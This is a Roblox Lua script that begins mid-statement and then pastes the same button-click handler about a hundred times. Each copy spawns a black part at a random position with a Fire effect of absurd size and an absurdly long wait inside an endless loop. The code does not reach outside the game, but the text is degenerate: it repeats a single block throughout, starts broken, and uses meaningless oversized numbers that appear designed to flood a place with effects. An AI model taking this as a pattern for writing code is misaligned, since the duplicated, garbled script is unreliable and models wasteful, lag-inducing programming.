do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) 